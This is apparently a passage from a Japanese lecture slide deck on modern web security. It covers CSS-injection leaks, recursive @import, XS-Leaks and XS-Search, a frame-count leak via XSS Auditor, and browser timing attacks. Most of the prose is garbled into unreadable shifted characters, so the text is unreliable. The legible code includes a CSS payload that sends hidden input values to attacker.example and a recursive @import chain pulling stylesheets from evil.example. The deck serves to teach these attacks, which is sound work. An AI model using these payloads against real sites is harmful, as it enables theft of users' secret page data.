  36. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷݪཧ "UUSJCVUF3FBEJOH$44*OKFDUJPO ‣ ࣍ͷ)5.-λάͷWBMVFଐੑΛϦʔΫ͍ͨ͠৔߹Λߟ͑Δɻ
 ‣ ߈ܸऀ͸ɺ$44*OKFDUJPO͕Ͱ͖Δ৔ॴʹɺҎԼͷΑ͏ͳ$44Λ܁ Γฦ͠ BΛC

    D ͱม͑ͭͭ ૠೖ͍ͯ͘͠ɻ ‣ ߈ܸऀ͸BUUBDLFSFYBNQMFͰ଴ͪड͚͓ͯ͘͜ͱͰɺWBMVFଐ ੑͷจࣈ໨Λ஌Δ͜ͱ͕Ͱ͖Δɻ   <input type="hidden" value="abc"> input[value ^= "a"] { 
 background: url(http://attacker.example/?a)
 }

  37. &YFSDJTF
 "UUSJCVUF3FBEJOH ඇެ։

  38. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ -JHBUVSF੍ޚʹΑΔϦʔΫ -JHBUVSF$44*OKFDUJPO ‣ ໰୊͜͜·Ͱʹ঺հͨ͠"UUSJCVUF3FBEJOHͰ͸ɺλάͷଐੑ஋ ͔͠ಡΊͳ͍ͷͰɺ߈ܸʹར༻Ͱ͖Δঢ়گ͕ݶΒΕ͍ͯΔɻ ‣ ղܾҎԼͷΑ͏ͳํ๏ʹΑΓɺଐੑ஋Ҏ֎΋ಡΈग़ͤΔɻ ‣

    ϑΥϯτͷ-JHBUVSF ϦΨνϟ Λར༻ͯ͠දࣔ͞ΕΔจࣈͷ෯ ͻ͍ ͯ͸εΫϩʔϧόʔ Λ੍ޚ͢Δ ‣ εΫϩʔϧόʔ͕ੜͨ͡ͱ͖ʹ֎෦αʔόͱ௨৴ͤ͞Δ ‣ ิ଍)FJEFSJDIFUBM ͰΞΠσΞ͕ఏҊ͞Ε͍͕ͯͨɺ1P$ ͕ެ։͞Εͨͷ͸#FOULPXTLJ ͝Ζ͕ॳΊ͔ͯɻ   フォント制御 スクロールバー制御 攻撃ベクタ = +

  39. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ͜Ε·Ͱͷख๏ͷ໰୊఺ $44*OKFDUJPO ‣ ՝୊"UUSJCVUF3FBEJOH΋-JHBUVSF੍ޚʹΑΔϦʔΫ͸ɺ۪௚ʹ ΍Δͱɺෳ਺ճͷϦΫΤετ JOKFDUJPO ͕ඞཁʹͳΔɻ ‣

    㲎จࣈϦʔΫ͢Δͨͼʹɺ৽͍͠$44Λ஫ೖ͢Δඞཁ͕͋Δɻ ‣ 㱤ϦΫΤετ͝ͱʹมԽ͢ΔΑ͏ͳର৅͸ϦʔΫͰ͖ͳ͍ɻ ‣ ղܾ3FDVSTJWF*NQPSU5FDIOJRVF 7JMB   ‣ ࠶ؼతͳ!JNQPSUΛར༻ͯ͠ɺ౓ͷJOKFDUJPOͰϦʔΫΛࡁ·ͤ Δɺͱ͍͏ख๏ɻ ‣ ͜ͷߨٛͰ΋͜ͷख๏ʹ͍ͭͯ͸આ໌͢Δ͕ɺҎԼͷ7JMB͞ΜͷεϥΠ υΛಡΉ͜ͱΛקΊΔɻ
 IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG  

  40. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷݪཧ   3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO ‣ ॳΊʹ࣍ͷΑ͏ͳ$44Λ஫ೖ͢Δɻ  

    <style>@import url(//evil.example/0.css)</style> @import url(//evil.example/1.css) input[value^=a]{/*...*/} input[value^=b]{/*...*/} ... input[value^=z]{/*...*/} ‣ DTTͷத਎ΛҎԼͷΑ͏ʹ͓ͯ͘͠ɻ

  41. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷݪཧ   3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO   @import url(//evil.example/2.css)

    input[value^=aa]{/*...*/} input[value^=ab]{/*...*/} ... input[value^=az]{/*...*/} ‣ DTT΁ͷ(&5ϦΫΤετ͕ඈΜͰ͘Δ͕ɺҰ୴์ஔ͓ͯ͘͠ɻ ‣ DTTԼ෦Ͱจࣈ໨ͷϦʔΫ͕ߦΘΕΔɻ ‣ ͜ͷจࣈ໨ͷϦʔΫͷ݁ՌΛݩʹDTTΛੜ੒͢Δɻ ‣ ์ஔ͍ͯͨ͠(&5ϦΫΤετʹฦ౴͢Δɻ

  42. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷݪཧ   3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO   ‣ ར఺͜ͷΑ͏ͳखॱΛ܁Γฦ͢͜ͱʹΑΓɺॳΊʹTUZMFλάҰ

    ͭΛ஫ೖ͢Δ͚ͩͰ͋ͬͯ΋ɺϦʔΫ͍ͨ͠จࣈྻશମΛϦʔΫͰ ͖ΔΑ͏ʹͳΔɻ ‣ ؊ཁͳͱ͜Ζ ‣ ࠶ؼతʹ$44ΛJNQPSU͢Δ ‣ ΋ͬͱ΋࠶ؼతͰ͋Δඞཁ͸ͳ͘ɺฒྻͤͯ͞΋Α͍ ‣ ϦΫΤετʹରͯ͠௚ͪʹฦ౴ͤͣɺ४උ͕Ͱ͖͔ͯΒฦ౴͢Δ

  43. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ิ଍ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO ‣ ͜ͷςΫχοΫʹؔͯ͠͸ɺ߈ܸ༻ͷεΫϦϓτͷ࣮૷͕ͦΕͳΓ ʹ໘౗Ͱ͋Δɻ ‣ )551Λ஻Δαʔό͕ඞཁͳͨΊɻ ‣

    ࣗಈԽͷͨΊͷπʔϧ͕ެ։͞ΕΔΑ͏ʹͳ͖ͬͯͨɻ ‣ IUUQTHJUIVCDPNEOVUQUSTJD ‣ IUUQTHJUIVCDPNNPOTFO ‣ ͜ΕΛҰ౓ࣗ෼Ͱॻ͍ͯΈΔͷ͸͘͢͝ษڧʹͳΔɻ  

  44. &YFSDJTF
 3FDVSTJWF*NQPSU
 ඇެ։

  45. 94-FBLTBOE944FBSDI

  46. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $SPTTTJUF-FBLT4FBSDI
 94-FBLT 944FBSDI ‣ $SPTTTJUFMFBLT 94-FBL ͱ͸ɺϒϥ΢β্ͰͷαΠυνϟω ϧͨͪͷ૯শͰ͋Δ

    ΍΍ޠฐ͸͋Δ͕ ɻ ‣ 94-FBL߈ܸͱ͸ͦͷΑ͏ͳαΠυνϟωϧΛ༻͍ͨ߈ܸͷ͜ͱɻ ‣ ͱ͘ʹ܁Γฦ͠ͷ໰͍߹Θͤͷޙɺ؍ଌ͢Δɺͱ͍͏ྲྀΕ͔Β ͳΔ߈ܸ͸ɺ$SPTTTJUF4FBSDI 944FBSDI ͱݺ͹ΕΔɻ ‣ ྫ͑͹ҎԼͷ΍ΓͱΓ͔ΒɺϘϒͱΫϦε͸͖ͬͱ஌Γ߹͍ͩͱݴ͑ Δ͠ɺϘϒͱΞϦε͸஌Γ߹͍Ͱ͸ͳͦ͞͏ͩͱ෼͔Δɻ ‣ ʮϘϒɺΫϦεͱͷؒͰૹड৴ͨ͠ϝʔϧͷ݅਺͸Կ݅ʁΞϦεͱ͸ʁʯ ‣ ʮΫϦεͱ͸݅ɺΞϦεͱ͸͔݅ͳɻʯ ‣ ͜Εͱࣅͨ͜ͱΛߦ͏ͷ͕944FBSDIͱݺ͹ΕΔ߈ܸɻ  

  47. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ εΩʔϜ
 944FBSDI ‣ (FMFSOUFSFUBM  ‣ ൴Β͸944FBSDIͷख๏ΛγεςϚνοΫʹهड़ͨ͠ɻ ‣

    ߩݙ ‣ 944FBSDIͰར༻͢ΔͷʹͲͷ౷ܭख๏͕ద੾͔ͷݕ౼Λߦͬͨ఺ɻ ‣ $SPTCZFUBM ͷ#PYUFTUͷ࠾༻ ‣ λΠϛϯάνϟωϧͷBNQMJpDBUJPOख๏ͷఏҊɻ ‣ EJWJEFBOEDPORVFSΞϧΰϦζϜͷఏҊɻ ‣ ࣍ϖʔδҎ߱Ͱ(FMFSOUFSFUBM ͷεΩʔϜΛઆ໌͢Δɻ  

  48. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF

    7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT ʮ͜ͷ஫จʹ͕֮͑ͳ͍৔߹ ͸ɺ͜ͷϦϯΫΛΫϦοΫʯ

  49. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF

    7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT ʮHSXHHSOHXPSHIH OPHKHʯͷݕࡧ݁ՌΛ໰͍߹Θ ͤΔɻ݁Ռ͸ۭͳ͸ͣɻ

  50. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF

    7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT ʮ"MJDFʯͰݕࡧ͢Δɻ ΋͠ݕࡧ݁Ռͷಛ௃ྔ FHα Πζ ॲཧ࣌ؒ FUD ͕ %VNNZ3FRVFTUͱ͍͔ۙ൑ ఆ͢Δͱɺۭ͔ͦ͏Ͱͳ͍͔ ͕ਪଌͰ͖Δɻ

  51. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF

    7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT  ͷεςοϓΛ܁Γฦ͢

  52. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF

    7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT ߈ܸऀ͸ద౰ͳλΠϛϯάͰ ݁ՌΛճऩ͢Δ

  53. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU

    3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT

  54. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU

    3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT ߈ܸऀ͕ඃ֐ऀΛ᠘ϖʔδʹ༠ ಋ͢Δɻ

  55. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU

    3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT ߈ܸऀ͸࢝Ίʹɺ݁Ռ͕෼͔Γ͖ͬͯ ͍Δ໰͍߹ΘͤΛૹ৴͠ %VNNZ 3FRVFTU ɺͦͷಛ௃ྔΛ94-FBLT Λ༻͍ͯಘͯɺͦΕΛ͓֮͑ͯ͘ɻ
 ͜ͷखॱʹΑΓɺҎ߱͸૬ର஋ϕʔε ͷٞ࿦͕Ͱ͖Δɻ

  56. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU

    3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT ࣮ࡍͷ໰͍߹ΘͤΛߦ͏ɻ ͜͜ͰಘΒΕͨϨεϙϯεͷಛ ௃ྔͱ%VNNZ3FRVFTU͔Β ಘͨಛ௃ྔͷ૬ର஋Λ΋ͱʹɺ 3FTQPOTFͷಛੑΛ෮ݩ͢Δɻ

  57. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU

    3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT  ͷεςοϓΛ܁Γฦ͢

  58. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠   %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU

    3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU
 3FTVMUT ߈ܸऀ͸ద౰ͳλΠϛϯάͰ ݁ՌΛճऩ͢Δ

  59. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ಛੑ
 944FBSDI 94-FBLT ‣ 94-FBLT944FBSDI͸ҎԼͷΑ͏ͳੑ࣭Λ࣋ͭɻ ‣ Ϧιʔε͕௚઀ϦʔΫ͞ΕΔΘ͚Ͱ͸ͳ͍ɻ ‣

    944 $44*OKFDUJPO౳ͱ͸ҟͳΔɻ401͕͋ΔͨΊɻ ‣ Ϧιʔεͷಛ௃ྔ͕ϦʔΫ͞ΕΔɻ ‣ FH͋Δ஋͕౰֘Ϧιʔεʹؚ·Ε͍ͯΔ͔Ͳ͏͔ɻ ‣ ݕࡧͷ৔߹͋Δ஋͕Ϣʔβʔͷ΋ͭϦιʔεͷதʹؚ·Ε͍ͯΕ͹ɺݕ ࡧ݁ՌͷϨεϙϯε௕͸௕͍͸ͣɻ ‣ FHϦιʔε͕ͲΕ΄Ͳෳࡶ͔େ͖͍͔ɻ ‣ ෳࡶͳେ͖͍Ϩεϙϯε΄Ͳॲཧʹ͔͔Δ࣌ؒ͸௕͍͸ͣɻ  

  60. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ྺ࢙ 94-FBLT 944FBSDI ͍ܰϒʔϜ͕དྷͨ  ೥͝Ζ͔Βʁ ɻ )551$BDIF$SPTT4JUF-FBLT


    IUUQTJSEBSDLDBUCMPHTQPUDPNIUUQDBDIFDSPTTTJUFMFBLTIUNM $SPTT4JUF$POUFOUBOE4UBUVT5ZQFT-FBLBHF
 IUUQTNFEJVNDPNCVHCPVOUZXSJUFVQDSPTTTJUFDPOUFOUBOETUBUVTUZQFTMFBLBHFFGEBCB   &WBOT͕ݪ࢝తͳ944FBSDI JNHͱλΠϛϯά৘ใʹΑΔ΋ ͷ ΛఏҊͨ͠ &WBOT  ɻ
 $SPTTEPNBJOTFBSDIUJNJOH
 IUUQTTDBSZCFBTUTFDVSJUZCMPHTQPUDPNDSPTTEPNBJOTFBSDIUJNJOHIUNM (FMFSOUFSFUBM͕944FBSDIΛ͋Δఔ౓ମܥԽͯ͠هड़ɾݕ౼ ͨ͠ (FMFSOUFSFUBM  ɻ࣮ੈքͰͷ߈ܸྫ΋ఏࣔ͞Εͨɻ

  61. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࢀߟจݙ
 94-FBLT 944FBSDI΋ͬͱֶͼ͍ͨ͋ͳͨͷͨΊʹ ‣ /PUFYTMFBLTYTMFBLTIBTBDPNQSFIFOTJWFTVSWFZQBHF
 IUUQTHJUIVCDPNYTMFBLTYTMFBLTXJLJ-JOLT ‣ ':*/FX94-FBLUFDIOJRVFTSFWFBMGSFTIXBZTUPFYQPTF

    VTFSJOGPSNBUJPOCZ1PSU4XJHHFS
 IUUQTQPSUTXJHHFSOFUEBJMZTXJHOFXYTMFBLUFDIOJRVFTSFWFBMGSFTIXBZTUPFYQPTFVTFSJOGPSNBUJPO  ‣ ':*94-FBLTBOE944FBSDICZ(PPHMF
 IUUQTTJUFTHPPHMFDPNTJUFCVHIVOUFSVOJWFSTJUZOPOWVMOYTMFBLT  

  62. &YBNQMF
 'SBNF$PVOU

  63. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ XJOEPXMFOHUI
 $SPTT0SJHJOͰ΋ಡΊΔϓϩύςΟͷ୅දྫ   ‣ લఏ ‣ ஌ࣝXJOEPXMFOHUI͸౰֘XJOEPXதͷGSBNFͷݸ਺Λฦ͢ɻ

    ‣ ิ଍XJOEPXMFOHUIXJOEPXGSBNFTMFOHUI ‣ ஌ࣝ401ԼͰ͋ͬͯ΋ɺXJOEPXMFOHUIͷ$SPTT0SJHJOͳಡΈग़ ͠͸ڐՄ͞Ε͍ͯΔɻ ‣ ࢀߟ.%/
 IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC4FDVSJUZ4BNFPSJHJO@QPMJDZ ‣ ໰͜ΕΛ߈ܸʹར༻Ͱ͖ΔγνϡΤʔγϣϯ͸ଘࡏ͢Δ͔ɻ͋Δͷ Ͱ͋Ε͹ɺͦΕ͸ͲͷΑ͏ͳ৔߹͔ɻ

  64. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 944"VEJUPS
 "HPPEGSJFOEGPS944NBOJB ‣ 944"VEJUPS ‣ 99441SPUFDUJPOIFBEFS EFpOFTUIFBDUJPOXIFO 3FqFDUFE

    944JTGPVOE ‣ 5IFSFBSFUXPNPEFT
 pMUFSCMPDL ‣ 3FTFBSDIFSTIBWFUBDLMFEXJUI CZQBTTJOHPG944"VEJUPS  

  65. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ XJOEPXMFOHUIΛར༻Ͱ͖Δྫ
 'SBNF$PVOU ‣ ҎԼ99441SPUFDUJPONPEFCMPDLΛ૝ఆ͢Δɻ ‣ ϖʔδ͕IUUQFYBNQMFDPNIPHFͰαʔϒ͞Ε͍ͯΔͱ͢Δɻ ‣ ࣍ͷ63-Λ౿Ήͱɺ944"VEJUPSʹΑΓϖʔδද͕ࣔϒϩοΫ͞ΕΔɻ

    ‣ IUUQFYBNQMFDPNIPHF $TDSJQU&MFUTFDSFU%USVF#$'TDSJ QU& 63-"ͱ͢Δ  ‣ USVFˠGBMTFͱͨ͠63- 63-#ͱ͢Δ Ͱ͸ϒϩοΫ͞Εͳ͍ɻ   <iframe src="..."></iframe> <script>let secret= true;</script>

  66. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ XJOEPXMFOHUIΛར༻Ͱ͖Δྫ
 'SBNF$PVOU ‣ ͱ͜ΖͰɺҎԼ͕੒ཱ͍ͯ͠Δɻ ‣ 944"VEJUPSʹΑΓϖʔδද͕ࣔϒϩοΫ͞ΕΔͱɺ͜ͷϖʔδͷ XJOEPXMFOHUIͱͳΔɻ ‣

    ϒϩοΫ͞Ε͍ͯͳ͍৔߹ɺXJOEPXMFOHUIͱͳΔɻ ‣ Αͬͯɺ࣍ͷͭͷJGSBNFͷ͏ͪͲͪΒͷXJOEPXMFOHUI͕ ʹͳΔ͔ʹΑͬͯɺTFDSFUͷ஋͕൑ผͰ͖Δɻ ‣ JGSBNFTSD63-" JGSBNFTSD63-#   <iframe src="..."></iframe> <script>let secret = true;</script>

  67. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 944"VEJUPSͷ෭࡞༻
 ͳͥ944"VEJUPS͕ඇ೉Λड͚͍ͯΔͷ͔ ‣ 944"VEJUPS͕ϒϩοΫ͢Δͱʜ ‣ 94-FBLTͷԹচʹͳΔ944"VEJUPSΛJODMVTJPOͷΦϥΫϧʹར ༻Ͱ͖Δɻ ‣

    944"VEJUPS͕ϑΟϧλ͢Δͱʜ ‣ ։ൃऀ͕ҙਤ͍ͯ͠ͳ͍ഁյ͕ى͖Δɻ ‣ %0.$MPCCFSJOHͳͲͱͷ૊Έ߹ΘͤʹΑΔ໰୊΋ى͜Γ͏Δɻ ‣ ࢀߟ9944/JHIUNBSFNPEFBUUBDL944"UUBDLT&YQMPJUJOH 944'JMUFS !NBTBUPLJOVHBXB 
 IUUQTXXXTMJEFTIBSFOFUNBTBUPLJOVHBXBYYOFO ‣ ':**OGPSNBUJPOUIFGUBUUBDLTBCVTJOHCSPXTFST944pMUFS
 IUUQTXXXNCTEKQCMPHIUNM  

  68. &YFSDJTF
 XJOEPXMFOHUI
 ඇެ։

  69. &YBNQMF
 5JNJOH*OGPSNBUJPO

  70. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 5JNJOH"UUBDL 8FC 
 αΠυνϟωϧ߈ܸͷԦ༷ ‣ ໰ϒϥ΢β্Ͱͷ࣌ؒܭଌ͔ΒಘΒΕΔ৘ใ͸ɺͲͷΑ͏ʹͯ͠߈ ܸʹར༻Ͱ͖ΔͩΖ͏͔ɻ ‣

    ॳظͷΞΠσΞ 'FMUFOBOE4DIOFJEFS   ‣ ϒϥ΢βͷΩϟογϡͷ༗ແ͕ɺϦιʔεͷϩʔυͷૣ͞ΛܾΊΔɻ ‣ ϒϥ΢βΩϟογϡͷ༗ແ͸ɺϒϥ΢βཤྺΛ൓ө͍ͯ͠Δɻ ‣ ͢ͳΘͪɺϦιʔεͷಡΈࠐΈ଎౓͸ɺϒϥ΢βཤྺΛ൓ө͠͏Δɻ ‣ Ұൠʹɺ8FCʹ͓͚ΔλΠϛϯά߈ܸ͸ɺ࣍ͷ؍఺Ͱ෼ྨ͞ΕΔɻ ‣ $POOFDUJWJUZEJSFDUPSDSPTTTJUF ‣ 5BSHFU5JNJOHTFSWFSTJEFUJNJOHPSDMJFOUTJEFUJNJOH  

  71. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ %JSFDU5JNJOH"UUBDL
 #PSU[BOE#POFI $SPTCZFUBM  ‣ ֓ཁϦʔΫ͍ͨ͠৘ใ͕8FCΞϓϦέʔγϣϯશମͷڍಈʹӨڹ Λ༩͑Δ৔߹Λ૝ఆͨ͠߈ܸͷ͜ͱɻ ‣

    ݚڀͷྫ ‣ 8FCΞϓϦέʔγϣϯͷॲཧ࣌ؒͷ؍ଌʹΑΓɺαʔόʔαΠυͰอ ࣋͞ΕͨσʔλͷαΠζ౳ΛϦʔΫͰ͖Δ #PSU[BOE#POFI  ɻ ‣ ωοτϫʔΫӽ͠ͷλΠϛϯά߈ܸͰ͋ͬͯ΋ɺ౷ܭख๏Λ޻෉͢Δ ͱɺඇৗʹྑ͍ਫ਼౓͕࣮ݱͰ͖Δ $SPTCZFUBM  ɻ ‣ #PYUFTUͱݺ͹ΕΔ౷ܭख๏͸ɺޙͷݚڀͰ΋ଟ༻͞Ε͍ͯΔɻ ‣ FH%SBHPOCMPPE 7BOIPFGBOE3POFO   ‣ FH944FBSDI (FMFSOUFSFUBM   

  72. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $SPTTTJUF5JNJOH"UUBDL
 #PSU[BOE#POFI  ‣ ϦʔΫ͍ͨ͠৘ใ͸ɺ8FCΞϓϦέʔγϣϯશମͷڍಈʹ͸ӨڹΛ ༩͑ͳ͍͕ɺͦΕΛอ࣋͢ΔϢʔβʔ͕ߦ͑Δૢ࡞ʹ͸ӨڹΛ༩͑ Δ৔߹Λ૝ఆͨ͠߈ܸͷ͜ͱɻ ‣

    αʔόʔαΠυͷ࣌ؒʹண໨ͨ͠ݚڀ ‣ &WBOT ΍(FMFSOUFSFUBM ͕୅දత ‣ ΫϥΠΞϯταΠυͷ࣌ؒʹண໨ͨ͠ݚڀ ‣ CSPXTFSCBTFEUJNJOHBUUBDLTͱ΋ݺ͹ΕΔɻ ‣ $BDIFػߏͷ׆༻7BO(PFUIFNFUBM  ‣ $44ͷ׆༻4UPOF ,PUDIFSFUBM 4NJUIFUBM  ౳  

  73. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $MJFOUTJEF5JNJOH  
 BLB#SPXTFSCBTFE5JNJOH"UUBDL ‣ ΞΠσΞϦιʔεಡΈࠐΈͷ࣌ؒ͸ϦιʔεͷαΠζͱͷ૬ؔΛ΋ ͭ ͸ͣ

    ɻ ‣ ໰୊/FUXPSLKJUUFS΍αʔόʔෛՙʹΑΔ355஗Ԇ͕࣌ؒܭଌʹ ৐Δͱɺຊ౰ʹܭଌ͍͕ͨ࣌ؒ͠ଌΕͳ͍ɻ ‣ ݚڀͷྫ7BO(PFUIFNFUBM͸ɺ࣍ͷΑ͏ͳϞμϯͳ8FC"1* Λར༻͢Δ͜ͱʹΑΓɺΫϥΠΞϯταΠυͰͷϦιʔεಡΈࠐΈ ͷ࣌ؒΛਖ਼֬ͳܭଌΛୡ੒ͨ͠ 7BO(PFUIFNFUBM  ɻ ‣ FH$BDIF"1* PG4FSWJDF8PSLFS  ‣ FH"QQMJDBUJPO$BDIF  

  74. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $MJFOUTJEF5JNJOH  
 BLB#SPXTFSCBTFE5JNJOH"UUBDL ‣ ΞΠσΞϨϯμϦϯάʹඞཁͳ࣌ؒ͸ίϯςϯπͱͷ૬ؔΛ΋ͭɻ ‣ ஫+4͔Β৮Εͳ͍σʔλͰ͋ͬͯ΋ɺϨϯμϦϯά͸͞ΕΔ͜ͱ

    ͕͋ΔͷͰɺ΋͔ͨ͠͠Β߈ܸͷద༻ൣғ͕޿͕Δ͔΋ɻ ‣ ݚڀͷྫ ‣ 1JYFMQFSGFDUUJNJOHBUUBDLT 4UPOF  
 IUUQTXXXDPOUFYUJTDPNNFEJBEPXOMPBET1JYFM@1FSGFDU@5JNJOH@"UUBDLT@XJUI@)5.-@8IJUFQBQFSQEG  ‣ 1JYFMTUFBMJOHUJNJOHBUUBDLT ,PUDIFSFUBM  
 IUUQTEMBDNPSHDJUBUJPODGN JE ‣ "CVTFPG1BJOU"1* %5SBOTGPSNT BOE47(T 4NJUIFUBM   
 IUUQTXXXVTFOJYPSHDPOGFSFODFXPPUQSFTFOUBUJPOTNJUI  

  75. &YFSDJTF
 4JNQMF5JNJOH"UUBDL ඇެ։

  76. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ λΠϛϯάܭଌͷ෢ث  
 λΠϚͱͯ͠࢖͑Δ΋ͷͷྫ ‣ λΠϜελϯϓϕʔεͷղੳΛ͢Δ৔߹ ‣ ݱ୅ʹ͓͍ͯ΋ͬͱ΋γϯϓϧͳλΠϚ͸QFSGPSNBODFOPX

     ‣ ϒϥ΢β͔Βར༻Ͱ͖ΔߴੑೳλΠϚʹؔ͢Δݚڀͱͯ͠͸ɺ࣍ϖʔ δͰ঺հ͢Δ4DIXBS[ ͕༗໊ɻ ‣ '14 GSBNFTQFSTFDPOE ϕʔεͷղੳΛ͢Δ৔߹ ‣ SFRVFTU"OJNBUJPO'SBNF͕ར༻Ͱ͖Δ ‣ ར༻͍ͯ͠Δݚڀͷྫ4NJUIFUBM ͷ$44ʹΑΔཤྺ৘ใ࿙Ӯ ‣ ϒϥ΢βͷϨϯμϦϯάपΓͷઃܭΛཧղ͓ͯ͘͠ͱྑ͍͜ͱ͕͋Δ ‣ IUUQTEFWFMPQFSTHPPHMFDPNXFCGVOEBNFOUBMTQFSGPSNBODFDSJUJDBMSFOEFSJOH QBUI IMKB  

  77. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ λΠϛϯάܭଌͷ෢ث  
 ୅දతͳܭଌλΠϛϯά ‣ MPBEΠϕϯτ ‣ $SPTT0SJHJOͳ΢Οϯυ΢ؒͰ͸औΕͳ͍ɻ

